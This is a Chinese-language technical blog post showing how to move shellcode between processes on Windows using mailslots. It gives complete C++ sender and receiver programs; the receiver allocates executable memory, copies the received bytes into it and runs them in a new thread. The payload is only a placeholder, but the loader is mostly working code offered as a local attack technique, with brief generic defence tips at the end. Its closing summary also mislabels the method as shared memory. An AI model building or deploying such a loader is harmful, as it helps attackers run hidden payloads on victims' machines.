C++ 邮件槽ShellCode跨进程传输

2023-12-07 18:11 由微软技术分享发表于 #企业信息化

在计算机安全领域，进程间通信（IPC）一直是一个备受关注的话题。在本文中，我们将探讨如何使用Windows邮件槽（Mailslot）实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制，使得任何进程都能够成为邮件槽服务器，并通过UDP通信向其他进程发送数据。

邮件槽是Windows操作系统提供的一种用于本地进程间通信的机制。它允许一个进程创建一个命名的槽，并允许其他进程通过该槽向创建它的进程发送消息。在本文中，我们将使用邮件槽实现进程间的ShellCode传输。如果需要双向通信或更复杂的通信需求，需要考虑其他IPC机制，例如命名管道、套接字等。

服务端部分

服务端端部分的实现非常简单，通过使用MAIL_SLOT_NAME 可以定义邮件槽的名称，该名称用于标识服务端和客户端之间的邮件槽。这是一个字符串常量，按照 Windows 命名约定的格式指定了邮件槽的路径。

让我来解释这个定义的具体含义：

\\\\.：表示本地计算机，即当前计算机的命名空间。
mailslot：指定邮件槽的类型。
Name：是你给邮件槽指定的名称，可以根据实际需要更改。

所以，整个路径 \\\\.\\mailslot\\Name 指代的是一个本地计算机上的邮件槽，其名称为 Name。这个路径会在创建和打开邮件槽时使用，确保两个进程使用相同的路径来通信。

在服务端创建邮件槽时，通过 CreateFile 函数中的 MAIL_SLOT_NAME 参数指定邮件槽的名称，确保服务端和客户端使用相同的名称来建立通信连接。

CreateFile

用于创建或打开文件、文件夹、邮件槽、管道等对象的句柄。在你提供的代码中，CreateFile 主要用于打开邮件槽，以便在服务端写入数据。

以下是 CreateFile 函数的一般形式：

HANDLE CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

参数说明：

lpFileName：指定文件或对象的名称，可以是一个路径、文件名或其他标识符。
dwDesiredAccess：指定对文件的访问权限，例如 GENERIC_READ、GENERIC_WRITE 等。
dwShareMode：指定共享模式，例如 FILE_SHARE_READ、FILE_SHARE_WRITE 等。
lpSecurityAttributes：指定安全属性，通常设置为 NULL。
dwCreationDisposition：指定文件的创建或打开方式，例如 OPEN_EXISTING、CREATE_NEW 等。
dwFlagsAndAttributes：指定文件或对象的属性，例如 FILE_ATTRIBUTE_NORMAL。
hTemplateFile：指定一个文件句柄，用于复制文件属性。

如上所示，我们只需要遵循邮件槽的创建流程并使用CreateFile创建通信，当需要传输邮件的时候可以直接调用WriteFile发送邮件，这是一个很好的功能，你可以发送邮件也可以发送各种你喜欢的乱七八糟的东西。

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 

char ShellCode[] = "此处是ShellCode";

int main(int argc, char* argv[])
{
    HANDLE hWriteMailSlot = NULL;
    while (TRUE)
    {
        hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hWriteMailSlot == INVALID_HANDLE_VALUE)
            continue;
        else
            break;
    }
    DWORD dwReturn = 0;

    // 发送邮件槽
    WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
    CloseHandle(hWriteMailSlot);
    return 0;
}

客户端部分

为了实现通信，客户端部分也需要使用邮件槽，在MAIL_SLOT_NAME中指定相同的邮件名，通过CreateMailslot 函数，创建邮件槽（Mailslot），这是一种用于本地进程间通信的机制。邮件槽是一种命名的管道，用于在同一台计算机上的不同进程之间传递数据。

以下是 CreateMailslot 函数的一般形式：

HANDLE CreateMailslot(
  LPCTSTR               lpName,
  DWORD                 nMaxMessageSize,
  DWORD                 lReadTimeout,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

参数说明：

lpName：指定邮件槽的名称，形如 \\.\mailslot\your_mailslot_name。
nMaxMessageSize：指定邮件槽中消息的最大大小。
lReadTimeout：指定在读取数据时的超时时间（以毫秒为单位）。
lpSecurityAttributes：指定邮件槽的安全属性，可以为 NULL。

在代码中，CreateMailslot 用于创建邮件槽：

hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);

这行代码的作用是创建一个邮件槽，使用了预定义的邮件槽名称 MAIL_SLOT_NAME 作为参数，nMaxMessageSize 和 lReadTimeout 都设置为零，表示使用默认值。如果创建成功，hReadMailSlot 将获得一个有效的邮件槽句柄，可以用于后续的数据读取操作。

创建好链接之后接下来就可以通过GetMailslotInfo函数获取邮件了，当然了这个要死循环等待邮件，GetMailslotInfo 用于检查邮件槽的状态信息。它提供了有关邮件槽当前状态的信息，例如有多少消息在邮件槽中、每个消息的大小等。

以下是 GetMailslotInfo 函数的一般形式：

BOOL GetMailslotInfo(
  HANDLE       hMailslot,
  LPDWORD      lpMaxMessageSize,
  LPDWORD      lpNextSize,
  LPDWORD      lpMessageCount,
  LPDWORD      lpReadTimeout
);

参数说明：

hMailslot：邮件槽的句柄，通过 CreateMailslot 函数或 CreateFile 函数获得。
lpMaxMessageSize：指向一个变量，用于接收邮件槽中单个消息的最大大小。
lpNextSize：指向一个变量，用于接收下一个消息的大小。
lpMessageCount：指向一个变量，用于接收邮件槽中当前的消息数目。
lpReadTimeout：指向一个变量，用于接收在读取数据时的超时时间（以毫秒为单位）。

在你的代码中，GetMailslotInfo 用于获取邮件槽的信息：

bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);

这行代码的作用是获取邮件槽 hReadMailSlot 的信息，其中 cbMessage 接收消息的大小，cMessage 接收消息的数量。这样的信息可以在接收方确定是否有待处理的消息，以及处理这些消息所需的空间。

一般来说当收到了新邮件之后可以直接使用ReadFile函数读出这段邮件，读出来的邮件就可以直接反弹了，如下代码所示；

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;

DWORD WINAPI ReadMail()
{
    hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
    if (hReadMailSlot == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 查看油槽的信息
    DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
    BOOL bOk = FALSE;

    char ShellCode[4096] = { 0 };

    while (TRUE)
    {
        bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
        if (bOk == FALSE)
            break;
        if (cMessage == 0)
            continue;
        else
        {
            if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
            {
                HANDLE hThread = NULL;
                cout << ShellCode << endl;
                
                // 注入ShellCode并执行
                void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                CopyMemory(ptr, ShellCode, sizeof(ShellCode));

                hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
                WaitForSingleObject(hThread, INFINITE);
            }
        }
    }
}

int main(int argc, char* argv[])
{
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
    Sleep(INFINITE);
    if (hReadMailSlot != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hReadMailSlot);
    }
    return 0;
}

潜在风险和安全建议

虽然这种方法在本地攻击场景中有一定的巧妙性，但也存在潜在的风险。以下是一些建议：

防御共享内存滥用： 操作系统提供了一些机制，如使用 ACL（访问控制列表）和安全描述符，可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
加强系统安全策略： 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
监控和响应： 部署实时监控和响应系统，能够及时检测到异常行为并采取相应措施，对于减缓潜在威胁的影响十分重要。

总结

本文介绍了通过共享内存传递Shellcode的方法，通过这种巧妙的本地攻击方式，两个进程可以在不直接通信的情况下相互传递Shellcode。然而，使用这种技术需要非常谨慎，以免被滥用用于不当用途。在实际应用中，必须谨慎权衡安全性和便利性，同时配合其他防御措施，确保系统的整体安全性。